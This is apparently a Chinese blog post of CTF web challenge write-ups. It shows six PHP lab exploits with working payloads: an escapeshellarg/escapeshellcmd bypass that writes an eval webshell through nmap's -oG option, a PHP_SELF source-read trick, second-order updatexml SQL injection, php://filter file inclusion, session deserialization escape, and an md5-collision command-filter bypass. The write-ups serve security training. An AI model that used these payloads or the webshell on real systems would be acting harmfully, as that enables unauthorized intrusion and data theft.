[BUU] 刷题合集1

[

[BUUCTF 2018]Online Tool

访问得到源码:

<?php

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

if(!isset($_GET['host'])) {
    highlight_file(__FILE__);
} else {
    $host = $_GET['host'];
    $host = escapeshellarg($host);
    $host = escapeshellcmd($host);
    $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
    echo 'you are in sandbox '.$sandbox;
    @mkdir($sandbox);
    chdir($sandbox);
    echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}

考点是 CVE-2016-10045,参考这篇文章,文章讲的很详细了,简单来说就是由于两个转义函数的神配合,我们在命令前输入一个单引号加空格,在命令最后输入空格加单引号就可以绕过,而 namp 有 -oG 模式可以将结果输出到一个文件,这个输出格式大概是这样:

# Nmap 7.70 scan initiated Tue Mar 31 14:07:08 2020 as: 命令
# Nmap done at Tue Mar 31 14:07:28 2020 -- 0 IP addresses (0 hosts up) scanned in 20.35 second

可以看到虽然文件中会直接记录命令,因此我们把一句话木马作为命令的脏数据写到 php 文件中,直接 getshell 即可。

payload:

/?host=' <?php eval($_POST[a])?> -oG 2.php '

[Zer0pts2020]Can you guess it?

源码:

<?php
include 'config.php'; // FLAG is defined in config.php

if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
  exit("I don't know what you are thinking, but I won't let you read it :)");
}

if (isset($_GET['source'])) {
  highlight_file(basename($_SERVER['PHP_SELF']));
  exit();
}

$secret = bin2hex(random_bytes(64));
if (isset($_POST['guess'])) {
  $guess = (string) $_POST['guess'];
  if (hash_equals($secret, $guess)) {
    $message = 'Congratulations! The flag is: ' . FLAG;
  } else {
    $message = 'Wrong.';
  }
}
?>

题目让猜个数,猜对了给 flag,但是这个数并没有使用种子,而是直接生成的,而且使用 hash_equals 避免了时序攻击和 php 弱类型,基本可以判断这个数是猜不出来的(家里有超算的同学请坐下),那么 flag 的泄漏点只能在 $_SERVER[‘PHP_SELF’]。这个变量的定义:

$_SERVER['PHP_SELF']:相对于网站根目录的路径及 PHP 程序名称。

用来获取当前页面的名字,正常情况下和 __FILE__ 意义相同,但是在 1.php/2.php 这种情况下就会获取 1.php/2.php,而浏览器和服务器对这种 url 的解析结果都是 1.php,这样我们就可以移花接木,读取到 config.php 的源码。

要读到源码我们还需要绕过第四行的正则,匹配的是 config.php 后面加任意个数的 /,用不可显字符就可以绕过(后面加 %80 – %ff 的任意字符),最后的 payload:

/index.php/config.php/%ff?source

[RCTF2015]EasySQL

有注册登录功能,上去时候给你展示一些骚话,简单 fuzz 了一下好像不存在注入。此外还有一个修改密码的地方,如果注册用户名中带有双引号 “,那么修改密码就会报错,推测存在二次注入。

单间 fuzz 了一下,用户名不能输入空格,/**/,and 和 or,因此考虑报错注入,用 || 做连接符,用括号将语句嵌套从而绕过空格限制,注册用户为:

"||updatexml(1,concat(0x7e,(select(group_concat(schema_name))
from(information_schema.schemata)),0x7e),1)#

在更改密码处成功爆出所有数据库名:

接着爆表名和列名,注出 flag 是:

flag 不在这里,users 表中有个 real_flag_1s_here,但是里面有很多脏数据,用 regexp 来匹配出 flag:

由于 updatexml 的 32 位长度限制,首先考虑用 substr 截取一下输出,遗憾的是 substr mid left right 在 username 处都被禁了,只能 google hack 一下,发现 reverse 可以使,在嵌套一层就能得到出完整的flag,最后的 payload:

# 前半部分
"||(updatexml(1,concat(0x3a,((select(group_concat(real_flag_1s_here))
from(users)where(real_flag_1s_here)regexp('^f')))),1))#

# 后半部分
"||(updatexml(1,concat(0x3a,reverse((select(group_concat(real_flag_1s_here))
from(users)where(real_flag_1s_here)regexp('^f')))),1))#

[BSidesCF 2020]Had a bad day

打开 index 发现 url 有参数可控,直接加引号 order by 一下,发现爆了个 include 的错误。去访问 woofers.php 果然有回显,那么直接用伪协议一把梭读源码:

<?php
$file = $_GET['category'];
if(isset($file)){
	if( strpos( $file, "woofers" ) !==  false || strpos( $file, "meowers" ) !==  false || strpos( $file, "index")){
		include ($file . '.php');
	}
	else{
		echo "Sorry, we currently only support woofers and meowers.";
	}
}
?>

发现我们不能直接读取 flag.php 的内容,曲线救国一下在 filter 中先进入 index 目录,再 ../ 出来拿 flag ,payload:

index.php?category=php://filter/read=convert.base64-encode/resource=index/../flag

之后看到其他师傅们的 wp,才知道 filter 中会自动忽略掉不认识的脏数据,因此以下 payload 也是合法的:

index.php?category=php://filter/index/read=convert.base64-encode/index/resource=flag
# 这个脏数据加在这两个位置都可以

题比较简单,但是 get 到一个伪协议的小 trick,所以记录一下。

[安洵杯 2019]easy_serialize_php

直接给了源码,关键部分:

<?php
session_start();
function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}
$function = @$_GET['f'];
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);
$serialize_info = filter(serialize($_SESSION));
if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
}

phpinfo 里提示了自动 require d0g3_f1ag.php,所以这题应该就是让我们读取这个文件的内容。

可以看到我们可以定义任意变量,show_image 有反序列化和读文件的操作,那么这题的考点应该就是反序列化读取文件。再加上最开始的过滤会把某些内容置空,序列化时先进行序列化操作再过滤,猜测可能是反序列化逃逸。

在本地搭建同样的环境,可以输出一下序列化的内容:

a:3:{s:4:"user";s:5:"guest";s:8:"function";s:10:"show_image";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}

img 长度是 20,而定义 img 的语句又在 extract 后面执行,因此我们只能读取 base64 为 20 位的文件。刚好 d0g3_f1ag.php base64 之后的长度也是 20,我们就可以随便传入垃圾数据来篡改 img 的值。

稍微梳理一下,首先 POST _SESSION 会覆盖使整个 SESSION,我们需要在 user 塞入垃圾数据,img 赋值为 d0g3_f1ag.php 的 base64,除此以外,还需要一个工具变量来当做被填充的部分。假如填充一个键为 imagin 值为 aaa”xxxxxxx,序列化之后变为:s:6:”imagin”;s:11:”aaa”xxxxxxx”; 长度为 32,x 之前的长度为24,所以我们填充同样长为 24 的垃圾数据,就能使后面的 xxx 逃逸并反序列化;最后我们把 xxx 替换为 ;s:3:”img”;s:20:”ZDBnM19mMWFnLnBocA==”; 就成功篡改了 img 的值。

但是这还不算完,由于我们序列化时有三个变量,所以反序列化出来还得有三个,目前我们只有 img 和 user 两个变量,所以还需要再后面加一个变量的脏数据。

最后的 payload:

index.php?f=show_image

POST
_SESSION[user]=flagflagflagflagflagflag
&amp;_SESSION[imagin]=aaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:1:"a";s:1:"b";}&amp;

[安洵杯 2019]easy_web

打开网站,url 有读取的文件信息。两次 base64 转 hex 能解出 555.png,可以直接访问得到图片。

于是构造 ../../../../flag 尝试直接读取,发现被拦截了,于是老老实实读源码,其中关键部分:

<?php
$cmd = $_GET['cmd'];
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&amp;[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
    echo("forbid ~");
    echo "<br>";
} else {
    if ((string)$_POST['a'] !== (string)$_POST['b'] &amp;&amp; md5($_POST['a']) === md5($_POST['b'])) {
        echo `$cmd`;
    } else {
        echo ("md5 is funny ~");
    }
}

用 fastcoll 碰撞出两个 md5 相同的文件,url 编码之后上传。注意这里有个坑点,POST 的时候 a=xxx&b=xxx 会导致两个算出来的哈希值不相同,在最后加一个 & 就好。

其次来 bypass 命令执行的部分。众所周知,bash 继承了一部分 dos 的命令,因此 dir 有着和 ls 相同的功能。执行 dir / 发现 flag,但是好像这个 docker 里没有 xxd 命令,没法读取文件,用转义符绕过(正则里 \\| 导致正则失效,所以反斜杠可以利用,第一步用 l\s 绕过也可)。最后的 payload:

/index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&amp;cmd=ca\t%20/flag

POST
a=123%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%
00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%
00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%C5%EA%7E%9D%7E%5D%1F%E4%12%
D1%87%91%D0%1Bl%91q%AEj%DDw%D49a%0A%16A%A2%0B0%94P%E0%BD%14%DF%3E%AD%23%
5DGn%5D%1C%C7%F5%C3E%8B-%99%3Dz%0F%1C%5Dd%A4%0DB%FF%EF%06%C8%E2%E8%A7%C3
N%A4%97%15%C9X%9E%04%02%B6%84C%3F%A1D%A1%23%9A%13%1EtE%D0%CFO%5D%2B%C1a6
%B9%0E%F4g%83%9Fi%B5k%F9%02%94Qi%13%19%93%DF%10%DA%D2%D89q%D3QN%E2%22%F7
&amp;b=123%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00
%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00
%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%C5%EA%7E%9D%7E%5D%1F%E4%12
%D1%87%91%D0%1Bl%91q%AEj%5Dw%D49a%0A%16A%A2%0B0%94P%E0%BD%14%DF%3E%AD%23
%5DGn%5D%1C%C7u%C3E%8B-%99%3Dz%0F%1C%5Dd%A4%0D%C2%FF%EF%06%C8%E2%E8%A7%C3
N%A4%97%15%C9X%9E%04%02%B6%84C%3F%A1D%21%23%9A%13%1EtE%D0%CFO%5D%2B%C1a6
%B9%0E%F4g%83%9Fi%B5k%F9%02%14Ri%13%19%93%DF%10%DA%D2%D89q%D3%D1N%E2%22%F7&amp;

Imagin 丨 京ICP备18018700号-1


Your sidebar area is currently empty. Hurry up and add some widgets.